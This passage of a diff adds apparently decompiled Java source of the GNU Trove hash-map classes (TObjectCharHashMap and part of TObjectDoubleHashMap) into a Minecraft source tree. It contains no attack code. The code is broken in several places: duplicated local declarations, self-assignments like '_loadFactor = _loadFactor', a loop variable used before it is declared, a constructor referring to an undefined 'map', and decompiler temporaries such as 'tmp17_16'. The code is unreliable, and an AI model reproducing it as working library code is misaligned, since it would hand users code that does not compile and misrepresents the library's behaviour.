+      public boolean execute(K key, byte value) { if (first) first = false; else {
+          buf.append(",");
+        }
+        buf.append(key).append("=").append(value);
+        return true;
+      }
+    });
+    buf.append("}");
+    return buf.toString();
+  }
+}
diff --git a/src/minecraft/gnu/trove/map/hash/TObjectCharHashMap.java b/src/minecraft/gnu/trove/map/hash/TObjectCharHashMap.java
new file mode 100644
index 0000000..e2d8b5e
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/hash/TObjectCharHashMap.java
@@ -0,0 +1,1140 @@
+package gnu.trove.map.hash;
+
+import gnu.trove.TCharCollection;
+import gnu.trove.function.TCharFunction;
+import gnu.trove.impl.Constants;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.THash;
+import gnu.trove.impl.hash.TObjectHash;
+import gnu.trove.iterator.TCharIterator;
+import gnu.trove.iterator.TObjectCharIterator;
+import gnu.trove.iterator.hash.TObjectHashIterator;
+import gnu.trove.map.TObjectCharMap;
+import gnu.trove.procedure.TCharProcedure;
+import gnu.trove.procedure.TObjectCharProcedure;
+import gnu.trove.procedure.TObjectProcedure;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.lang.reflect.Array;
+import java.util.AbstractSet;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.NoSuchElementException;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TObjectCharHashMap<K>
+  extends TObjectHash<K>
+  implements TObjectCharMap<K>, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  private final TObjectCharProcedure<K> PUT_ALL_PROC = new TObjectCharProcedure() {
+    public boolean execute(K key, char value) {
+      put(key, value);
+      return true;
+    }
+  };
+  
+
+
+
+
+  protected transient char[] _values;
+  
+
+
+
+
+  protected char no_entry_value;
+  
+
+
+
+
+  public TObjectCharHashMap() {}
+  
+
+
+
+
+  public TObjectCharHashMap(int initialCapacity)
+  {
+    super(initialCapacity);
+    no_entry_value = Constants.DEFAULT_CHAR_NO_ENTRY_VALUE;
+  }
+  
+
+
+
+
+
+
+
+
+  public TObjectCharHashMap(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_value = Constants.DEFAULT_CHAR_NO_ENTRY_VALUE;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public TObjectCharHashMap(int initialCapacity, float loadFactor, char noEntryValue)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_value = noEntryValue;
+    
+    if (no_entry_value != 0) {
+      Arrays.fill(_values, no_entry_value);
+    }
+  }
+  
+
+
+
+
+
+
+  public TObjectCharHashMap(TObjectCharMap<K> map)
+  {
+    this(map.size(), 0.5F, map.getNoEntryValue());
+    if ((map instanceof TObjectCharHashMap)) {
+      TObjectCharHashMap hashmap = (TObjectCharHashMap)map;
+      _loadFactor = _loadFactor;
+      no_entry_value = no_entry_value;
+      
+      if (no_entry_value != 0) {
+        Arrays.fill(_values, no_entry_value);
+      }
+      setUp((int)Math.ceil(10.0F / _loadFactor));
+    }
+    putAll(map);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _values = new char[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    
+    K[] oldKeys = (Object[])_set;
+    char[] oldVals = _values;
+    
+    _set = new Object[newCapacity];
+    Arrays.fill(_set, FREE);
+    _values = new char[newCapacity];
+    Arrays.fill(_values, no_entry_value);
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if ((oldKeys[i] != FREE) && (oldKeys[i] != REMOVED)) {
+        K o = oldKeys[i];
+        int index = insertionIndex(o);
+        if (index < 0) {
+          throwObjectContractViolation(_set[(-index - 1)], o);
+        }
+        _set[index] = o;
+        _values[index] = oldVals[i];
+      }
+    }
+  }
+  
+
+
+
+  public char getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+  public boolean containsKey(Object key)
+  {
+    return contains(key);
+  }
+  
+
+  public boolean containsValue(char val)
+  {
+    Object[] keys = _set;
+    char[] vals = _values;
+    
+    for (int i = vals.length; i-- > 0;) {
+      if ((keys[i] != FREE) && (keys[i] != REMOVED) && (val == vals[i])) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  public char get(Object key)
+  {
+    int index = index(key);
+    return index < 0 ? no_entry_value : _values[index];
+  }
+  
+
+
+
+  public char put(K key, char value)
+  {
+    int index = insertionIndex(key);
+    return doPut(key, value, index);
+  }
+  
+
+  public char putIfAbsent(K key, char value)
+  {
+    int index = insertionIndex(key);
+    if (index < 0)
+      return _values[(-index - 1)];
+    return doPut(key, value, index);
+  }
+  
+  private char doPut(K key, char value, int index)
+  {
+    char previous = no_entry_value;
+    boolean isNewMapping = true;
+    if (index < 0) {
+      index = -index - 1;
+      previous = _values[index];
+      isNewMapping = false;
+    }
+    
+    K oldKey = _set[index];
+    _set[index] = key;
+    _values[index] = value;
+    
+    if (isNewMapping) {
+      postInsertHook(oldKey == FREE);
+    }
+    return previous;
+  }
+  
+
+  public char remove(Object key)
+  {
+    char prev = no_entry_value;
+    int index = index(key);
+    if (index >= 0) {
+      prev = _values[index];
+      removeAt(index);
+    }
+    return prev;
+  }
+  
+
+
+
+
+
+
+
+
+  public void removeAt(int index)
+  {
+    _values[index] = no_entry_value;
+    super.removeAt(index);
+  }
+  
+
+
+
+  public void putAll(Map<? extends K, ? extends Character> map)
+  {
+    Set<? extends Map.Entry<? extends K, ? extends Character>> set = map.entrySet();
+    for (Map.Entry<? extends K, ? extends Character> entry : set) {
+      put(entry.getKey(), ((Character)entry.getValue()).charValue());
+    }
+  }
+  
+
+  public void putAll(TObjectCharMap<K> map)
+  {
+    map.forEachEntry(PUT_ALL_PROC);
+  }
+  
+
+  public void clear()
+  {
+    super.clear();
+    Arrays.fill(_set, 0, _set.length, FREE);
+    Arrays.fill(_values, 0, _values.length, no_entry_value);
+  }
+  
+
+
+
+  public Set<K> keySet()
+  {
+    return new KeyView();
+  }
+  
+
+
+  public Object[] keys()
+  {
+    K[] keys = (Object[])new Object[size()];
+    Object[] k = _set;
+    
+    int i = k.length; for (int j = 0; i-- > 0;) {
+      if ((k[i] != FREE) && (k[i] != REMOVED))
+      {
+        keys[(j++)] = k[i];
+      }
+    }
+    return keys;
+  }
+  
+
+  public K[] keys(K[] a)
+  {
+    int size = size();
+    if (a.length < size)
+    {
+      a = (Object[])Array.newInstance(a.getClass().getComponentType(), size);
+    }
+    
+
+    Object[] k = _set;
+    
+    int i = k.length; for (int j = 0; i-- > 0;) {
+      if ((k[i] != FREE) && (k[i] != REMOVED))
+      {
+        a[(j++)] = k[i];
+      }
+    }
+    return a;
+  }
+  
+
+  public TCharCollection valueCollection()
+  {
+    return new TCharValueCollection();
+  }
+  
+
+  public char[] values()
+  {
+    char[] vals = new char[size()];
+    char[] v = _values;
+    Object[] keys = _set;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if ((keys[i] != FREE) && (keys[i] != REMOVED)) {
+        vals[(j++)] = v[i];
+      }
+    }
+    return vals;
+  }
+  
+
+  public char[] values(char[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new char[size];
+    }
+    
+    char[] v = _values;
+    Object[] keys = _set;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if ((keys[i] != FREE) && (keys[i] != REMOVED)) {
+        array[(j++)] = v[i];
+      }
+    }
+    if (array.length > size) {
+      array[size] = no_entry_value;
+    }
+    return array;
+  }
+  
+
+
+
+  public TObjectCharIterator<K> iterator()
+  {
+    return new TObjectCharHashIterator(this);
+  }
+  
+
+
+
+  public boolean increment(K key)
+  {
+    return adjustValue(key, '\001');
+  }
+  
+
+  public boolean adjustValue(K key, char amount)
+  {
+    int index = index(key);
+    if (index < 0) {
+      return false;
+    }
+    int tmp17_16 = index; char[] tmp17_13 = _values;tmp17_13[tmp17_16] = ((char)(tmp17_13[tmp17_16] + amount));
+    return true;
+  }
+  
+
+
+  public char adjustOrPutValue(K key, char adjust_amount, char put_amount)
+  {
+    int index = insertionIndex(key);
+    boolean isNewMapping;
+    char newValue;
+    boolean isNewMapping; if (index < 0) {
+      index = -index - 1; int 
+        tmp25_23 = index; char[] tmp25_20 = _values;char newValue = tmp25_20[tmp25_23] = (char)(tmp25_20[tmp25_23] + adjust_amount);
+      isNewMapping = false;
+    } else {
+      newValue = _values[index] = put_amount;
+      isNewMapping = true;
+    }
+    
+
+    K oldKey = _set[index];
+    _set[index] = key;
+    
+    if (isNewMapping) {
+      postInsertHook(oldKey == FREE);
+    }
+    
+    return newValue;
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEachKey(TObjectProcedure<K> procedure)
+  {
+    return forEach(procedure);
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEachValue(TCharProcedure procedure)
+  {
+    Object[] keys = _set;
+    char[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((keys[i] != FREE) && (keys[i] != REMOVED) && (!procedure.execute(values[i])))
+      {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public boolean forEachEntry(TObjectCharProcedure<K> procedure)
+  {
+    Object[] keys = _set;
+    char[] values = _values;
+    for (int i = keys.length; i-- > 0;) {
+      if ((keys[i] != FREE) && (keys[i] != REMOVED) && (!procedure.execute(keys[i], values[i])))
+      {
+
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+
+
+  public boolean retainEntries(TObjectCharProcedure<K> procedure)
+  {
+    boolean modified = false;
+    
+    K[] keys = (Object[])_set;
+    char[] values = _values;
+    
+
+    tempDisableAutoCompaction();
+    try {
+      for (i = keys.length; i-- > 0;) {
+        if ((keys[i] != FREE) && (keys[i] != REMOVED) && (!procedure.execute(keys[i], values[i])))
+        {
+
+          removeAt(i);
+          modified = true;
+        }
+      }
+    } finally {
+      int i;
+      reenableAutoCompaction(true);
+    }
+    
+    return modified;
+  }
+  
+
+
+
+
+
+  public void transformValues(TCharFunction function)
+  {
+    Object[] keys = _set;
+    char[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((keys[i] != null) && (keys[i] != REMOVED)) {
+        values[i] = function.execute(values[i]);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof TObjectCharMap)) {
+      return false;
+    }
+    TObjectCharMap that = (TObjectCharMap)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    try {
+      TObjectCharIterator iter = iterator();
+      while (iter.hasNext()) {
+        iter.advance();
+        Object key = iter.key();
+        char value = iter.value();
+        if (value == no_entry_value) {
+          if ((that.get(key) != that.getNoEntryValue()) || (!that.containsKey(key))) {
+            return false;
+          }
+        }
+        else if (value != that.get(key)) {
+          return false;
+        }
+      }
+    }
+    catch (ClassCastException ex) {}
+    
+
+    return true;
+  }
+  
+
+  public int hashCode()
+  {
+    int hashcode = 0;
+    Object[] keys = _set;
+    char[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((keys[i] != FREE) && (keys[i] != REMOVED)) {
+        hashcode += (HashFunctions.hash(values[i]) ^ (keys[i] == null ? 0 : keys[i].hashCode()));
+      }
+    }
+    
+    return hashcode;
+  }
+  
+  protected class KeyView extends TObjectCharHashMap<K>.MapBackedView<K> {
+    protected KeyView() {
+      super(null);
+    }
+    
+    public Iterator<K> iterator() {
+      return new TObjectHashIterator(TObjectCharHashMap.this);
+    }
+    
+    public boolean removeElement(K key) {
+      return no_entry_value != remove(key);
+    }
+    
+    public boolean containsElement(K key) {
+      return contains(key);
+    }
+  }
+  
+  private abstract class MapBackedView<E> extends AbstractSet<E> implements Set<E>, Iterable<E>
+  {
+    private MapBackedView() {}
+    
+    public abstract boolean removeElement(E paramE);
+    
+    public abstract boolean containsElement(E paramE);
+    
+    public boolean contains(Object key)
+    {
+      return containsElement(key);
+    }
+    
+    public boolean remove(Object o)
+    {
+      return removeElement(o);
+    }
+    
+    public void clear() {
+      TObjectCharHashMap.this.clear();
+    }
+    
+    public boolean add(E obj) {
+      throw new UnsupportedOperationException();
+    }
+    
+    public int size() {
+      return TObjectCharHashMap.this.size();
+    }
+    
+    public Object[] toArray() {
+      Object[] result = new Object[size()];
+      Iterator<E> e = iterator();
+      for (int i = 0; e.hasNext(); i++) {
+        result[i] = e.next();
+      }
+      return result;
+    }
+    
+    public <T> T[] toArray(T[] a) {
+      int size = size();
+      if (a.length < size)
+      {
+        a = (Object[])Array.newInstance(a.getClass().getComponentType(), size);
+      }
+      
+      Iterator<E> it = iterator();
+      Object[] result = a;
+      for (int i = 0; i < size; i++) {
+        result[i] = it.next();
+      }
+      
+      if (a.length > size) {
+        a[size] = null;
+      }
+      
+      return a;
+    }
+    
+    public boolean isEmpty() {
+      return TObjectCharHashMap.this.isEmpty();
+    }
+    
+    public boolean addAll(Collection<? extends E> collection) {
+      throw new UnsupportedOperationException();
+    }
+    
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      Iterator<E> i = iterator();
+      while (i.hasNext()) {
+        if (!collection.contains(i.next())) {
+          i.remove();
+          changed = true;
+        }
+      }
+      return changed;
+    }
+  }
+  
+  class TCharValueCollection implements TCharCollection
+  {
+    TCharValueCollection() {}
+    
+    public TCharIterator iterator() {
+      return new TObjectCharValueHashIterator();
+    }
+    
+    public char getNoEntryValue()
+    {
+      return no_entry_value;
+    }
+    
+    public int size()
+    {
+      return _size;
+    }
+    
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+    public boolean contains(char entry)
+    {
+      return containsValue(entry);
+    }
+    
+    public char[] toArray()
+    {
+      return values();
+    }
+    
+    public char[] toArray(char[] dest)
+    {
+      return values(dest);
+    }
+    
+    public boolean add(char entry) {
+      throw new UnsupportedOperationException();
+    }
+    
+    public boolean remove(char entry)
+    {
+      char[] values = _values;
+      Object[] set = _set;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((set[i] != TObjectHash.FREE) && (set[i] != TObjectHash.REMOVED) && (entry == values[i])) {
+          removeAt(i);
+          return true;
+        }
+      }
+      return false;
+    }
+    
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Character)) {
+          char ele = ((Character)element).charValue();
+          if (!containsValue(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+    public boolean containsAll(TCharCollection collection)
+    {
+      TCharIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsValue(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+    public boolean containsAll(char[] array)
+    {
+      for (char element : array) {
+        if (!containsValue(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+    public boolean addAll(Collection<? extends Character> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public boolean addAll(TCharCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public boolean addAll(char[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TCharIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Character.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+    public boolean retainAll(TCharCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TCharIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+    public boolean retainAll(char[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      char[] values = _values;
+      
+      Object[] set = _set;
+      for (int i = set.length; i-- > 0;) {
+        if ((set[i] != TObjectHash.FREE) && (set[i] != TObjectHash.REMOVED) && (Arrays.binarySearch(array, values[i]) < 0))
+        {
+
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Character)) {
+          char c = ((Character)element).charValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+    public boolean removeAll(TCharCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TCharIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        char element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+    public boolean removeAll(char[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+    public void clear()
+    {
+      TObjectCharHashMap.this.clear();
+    }
+    
+    public boolean forEach(TCharProcedure procedure)
+    {
+      return forEachValue(procedure);
+    }
+    
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachValue(new TCharProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(char value) {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(value);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+    
+    class TObjectCharValueHashIterator
+      implements TCharIterator
+    {
+      protected THash _hash = TObjectCharHashMap.this;
+      
+
+
+      protected int _expectedSize;
+      
+
+      protected int _index;
+      
+
+
+      TObjectCharValueHashIterator()
+      {
+        _expectedSize = _hash.size();
+        _index = _hash.capacity();
+      }
+      
+      public boolean hasNext()
+      {
+        return nextIndex() >= 0;
+      }
+      
+      public char next()
+      {
+        moveToNextIndex();
+        return _values[_index];
+      }
+      
+      public void remove()
+      {
+        if (_expectedSize != _hash.size()) {
+          throw new ConcurrentModificationException();
+        }
+        
+        try
+        {
+          _hash.tempDisableAutoCompaction();
+          removeAt(_index);
+        }
+        finally {
+          _hash.reenableAutoCompaction(false);
+        }
+        
+        _expectedSize -= 1;
+      }
+      
+
+
+
+
+
+      protected final void moveToNextIndex()
+      {
+        if ((this._index = nextIndex()) < 0) {
+          throw new NoSuchElementException();
+        }
+      }
+      
+
+
+
+
+
+
+
+
+
+      protected final int nextIndex()
+      {
+        if (_expectedSize != _hash.size()) {
+          throw new ConcurrentModificationException();
+        }
+        
+        Object[] set = _set;
+        int i = _index;
+        while ((i-- > 0) && ((set[i] == TObjectHash.FREE) || (set[i] == TObjectHash.REMOVED))) {}
+        
+
+        return i;
+      }
+    }
+  }
+  
+  class TObjectCharHashIterator<K>
+    extends TObjectHashIterator<K>
+    implements TObjectCharIterator<K>
+  {
+    private final TObjectCharHashMap<K> _map;
+    
+    public TObjectCharHashIterator()
+    {
+      super();
+      _map = map;
+    }
+    
+    public void advance()
+    {
+      moveToNextIndex();
+    }
+    
+
+    public K key()
+    {
+      return _map._set[_index];
+    }
+    
+    public char value()
+    {
+      return _map._values[_index];
+    }
+    
+    public char setValue(char val)
+    {
+      char old = value();
+      _map._values[_index] = val;
+      return old;
+    }
+  }
+  
+
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeChar(no_entry_value);
+    
+
+    out.writeInt(_size);
+    
+
+    for (int i = _set.length; i-- > 0;) {
+      if ((_set[i] != REMOVED) && (_set[i] != FREE)) {
+        out.writeObject(_set[i]);
+        out.writeChar(_values[i]);
+      }
+    }
+  }
+  
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    no_entry_value = in.readChar();
+    
+
+    int size = in.readInt();
+    setUp(size);
+    
+
+    while (size-- > 0)
+    {
+      K key = in.readObject();
+      char val = in.readChar();
+      put(key, val);
+    }
+  }
+  
+
+  public String toString()
+  {
+    final StringBuilder buf = new StringBuilder("{");
+    forEachEntry(new TObjectCharProcedure() {
+      private boolean first = true;
+      
+      public boolean execute(K key, char value) { if (first) first = false; else {
+          buf.append(",");
+        }
+        buf.append(key).append("=").append(value);
+        return true;
+      }
+    });
+    buf.append("}");
+    return buf.toString();
+  }
+}
diff --git a/src/minecraft/gnu/trove/map/hash/TObjectDoubleHashMap.java b/src/minecraft/gnu/trove/map/hash/TObjectDoubleHashMap.java
new file mode 100644
index 0000000..c18beea
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/hash/TObjectDoubleHashMap.java
@@ -0,0 +1,1140 @@
+package gnu.trove.map.hash;
+
+import gnu.trove.TDoubleCollection;
+import gnu.trove.function.TDoubleFunction;
+import gnu.trove.impl.Constants;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.THash;
+import gnu.trove.impl.hash.TObjectHash;
+import gnu.trove.iterator.TDoubleIterator;
+import gnu.trove.iterator.TObjectDoubleIterator;
+import gnu.trove.iterator.hash.TObjectHashIterator;
+import gnu.trove.map.TObjectDoubleMap;
+import gnu.trove.procedure.TDoubleProcedure;
+import gnu.trove.procedure.TObjectDoubleProcedure;
+import gnu.trove.procedure.TObjectProcedure;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.lang.reflect.Array;
+import java.util.AbstractSet;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.NoSuchElementException;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TObjectDoubleHashMap<K>
+  extends TObjectHash<K>
+  implements TObjectDoubleMap<K>, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  private final TObjectDoubleProcedure<K> PUT_ALL_PROC = new TObjectDoubleProcedure() {
+    public boolean execute(K key, double value) {
+      put(key, value);
+      return true;
+    }
+  };
+  
+
+
+
+
+  protected transient double[] _values;
+  
+
+
+
+
+  protected double no_entry_value;
+  
+
+
+
+
+  public TObjectDoubleHashMap() {}
+  
+
+
+
+
+  public TObjectDoubleHashMap(int initialCapacity)
+  {
+    super(initialCapacity);
+    no_entry_value = Constants.DEFAULT_DOUBLE_NO_ENTRY_VALUE;
+  }
+  
+
+
+
+
+
+
+
+
+  public TObjectDoubleHashMap(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_value = Constants.DEFAULT_DOUBLE_NO_ENTRY_VALUE;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public TObjectDoubleHashMap(int initialCapacity, float loadFactor, double noEntryValue)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_value = noEntryValue;
+    
+    if (no_entry_value != 0.0D) {
+      Arrays.fill(_values, no_entry_value);
+    }
+  }
+  
+
+
+
+
+
+
+  public TObjectDoubleHashMap(TObjectDoubleMap<K> map)
+  {
+    this(map.size(), 0.5F, map.getNoEntryValue());
+    if ((map instanceof TObjectDoubleHashMap)) {
+      TObjectDoubleHashMap hashmap = (TObjectDoubleHashMap)map;
+      _loadFactor = _loadFactor;
+      no_entry_value = no_entry_value;
+      
+      if (no_entry_value != 0.0D) {
+        Arrays.fill(_values, no_entry_value);
+      }
+      setUp((int)Math.ceil(10.0F / _loadFactor));
+    }
+    putAll(map);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _values = new double[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    
+    K[] oldKeys = (Object[])_set;
+    double[] oldVals = _values;
+    
+    _set = new Object[newCapacity];
+    Arrays.fill(_set, FREE);
+    _values = new double[newCapacity];
+    Arrays.fill(_values, no_entry_value);
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if ((oldKeys[i] != FREE) && (oldKeys[i] != REMOVED)) {
+        K o = oldKeys[i];
+        int index = insertionIndex(o);
+        if (index < 0) {
+          throwObjectContractViolation(_set[(-index - 1)], o);
+        }
+        _set[index] = o;
+        _values[index] = oldVals[i];
+      }
+    }
+  }
+  
+
+
+
+  public double getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+  public boolean containsKey(Object key)
+  {
+    return contains(key);
+  }
+  
+
+  public boolean containsValue(double val)
+  {
+    Object[] keys = _set;
+    double[] vals = _values;
+    
+    for (int i = vals.length; i-- > 0;) {
+      if ((keys[i] != FREE) && (keys[i] != REMOVED) && (val == vals[i])) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  public double get(Object key)
+  {
+    int index = index(key);
+    return index < 0 ? no_entry_value : _values[index];
+  }
+  
+
+
+
+  public double put(K key, double value)
+  {
+    int index = insertionIndex(key);
+    return doPut(key, value, index);
+  }
+  
+
+  public double putIfAbsent(K key, double value)
+  {
+    int index = insertionIndex(key);
+    if (index < 0)
+      return _values[(-index - 1)];
+    return doPut(key, value, index);
+  }
+  
+  private double doPut(K key, double value, int index)
+  {
+    double previous = no_entry_value;
+    boolean isNewMapping = true;
+    if (index < 0) {
+      index = -index - 1;
+      previous = _values[index];
+      isNewMapping = false;
+    }
+    
+    K oldKey = _set[index];
+    _set[index] = key;
+    _values[index] = value;
+    
+    if (isNewMapping) {
+      postInsertHook(oldKey == FREE);
+    }
+    return previous;
+  }
+  
+
+  public double remove(Object key)
+  {
+    double prev = no_entry_value;
+    int index = index(key);
+    if (index >= 0) {
+      prev = _values[index];
+      removeAt(index);
+    }
+    return prev;
+  }
+  
+
+
+
+
+
+
+
+
+  public void removeAt(int index)
+  {
+    _values[index] = no_entry_value;
+    super.removeAt(index);
+  }
+  
+
+
+
+  public void putAll(Map<? extends K, ? extends Double> map)
+  {
+    Set<? extends Map.Entry<? extends K, ? extends Double>> set = map.entrySet();
+    for (Map.Entry<? extends K, ? extends Double> entry : set) {
+      put(entry.getKey(), ((Double)entry.getValue()).doubleValue());
+    }
+  }
+  
+
+  public void putAll(TObjectDoubleMap<K> map)
+  {
+    map.forEachEntry(PUT_ALL_PROC);
+  }
+  
+
+  public void clear()
+  {
+    super.clear();
+    Arrays.fill(_set, 0, _set.length, FREE);
+    Arrays.fill(_values, 0, _values.length, no_entry_value);
+  }
+  
+
+
+
+  public Set<K> keySet()
+  {
+    return new KeyView();
+  }
+  
+
+
+  public Object[] keys()
+  {
+    K[] keys = (Object[])new Object[size()];
+    Object[] k = _set;
+    
+    int i = k.length; for (int j = 0; i-- > 0;) {
+      if ((k[i] != FREE) && (k[i] != REMOVED))
+      {
+        keys[(j++)] = k[i];
+      }
+    }
+    return keys;
+  }
+  
+
+  public K[] keys(K[] a)
+  {
+    int size = size();
+    if (a.length < size)
+    {
+      a = (Object[])Array.newInstance(a.getClass().getComponentType(), size);
+    }
+    
+
+    Object[] k = _set;
+    
+    int i = k.length; for (int j = 0; i-- > 0;) {
+      if ((k[i] != FREE) && (k[i] != REMOVED))
+      {
+        a[(j++)] = k[i];
+      }
+    }
+    return a;
+  }
+  
+
+  public TDoubleCollection valueCollection()
+  {
+    return new TDoubleValueCollection();
+  }
+  
+
+  public double[] values()
+  {
+    double[] vals = new double[size()];
+    double[] v = _values;
+    Object[] keys = _set;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if ((keys[i] != FREE) && (keys[i] != REMOVED)) {
+        vals[(j++)] = v[i];
+      }
+    }
+    return vals;
+  }
+  
+
+  public double[] values(double[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new double[size];
+    }
+    
+    double[] v = _values;
+    Object[] keys = _set;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if ((keys[i] != FREE) && (keys[i] != REMOVED)) {
+        array[(j++)] = v[i];
+      }
+    }
+    if (array.length > size) {
+      array[size] = no_entry_value;
+    }
+    return array;
+  }
+  
+
+
+
+  public TObjectDoubleIterator<K> iterator()
+  {
+    return new TObjectDoubleHashIterator(this);
+  }
+  
+
+
+
+  public boolean increment(K key)
+  {
+    return adjustValue(key, 1.0D);
+  }
+  
+
+  public boolean adjustValue(K key, double amount)
+  {
+    int index = index(key);
+    if (index < 0) {
+      return false;
+    }
+    _values[index] += amount;
+    return true;
+  }
+  
+
+
+  public double adjustOrPutValue(K key, double adjust_amount, double put_amount)
+  {
+    int index = insertionIndex(key);
+    boolean isNewMapping;
+    double newValue;
+    boolean isNewMapping; if (index < 0) {
+      index = -index - 1;
+      double newValue = _values[index] += adjust_amount;
+      isNewMapping = false;
+    } else {
+      newValue = _values[index] = put_amount;
+      isNewMapping = true;
+    }
+    
+
+    K oldKey = _set[index];
+    _set[index] = key;
+    
+    if (isNewMapping) {
+      postInsertHook(oldKey == FREE);
+    }
+    
+    return newValue;
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEachKey(TObjectProcedure<K> procedure)
+  {
+    return forEach(procedure);
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEachValue(TDoubleProcedure procedure)
+  {
+    Object[] keys = _set;
+    double[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((keys[i] != FREE) && (keys[i] != REMOVED) && (!procedure.execute(values[i])))
+      {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public boolean forEachEntry(TObjectDoubleProcedure<K> procedure)
+  {
+    Object[] keys = _set;
+    double[] values = _values;
+    for (int i = keys.length; i-- > 0;) {
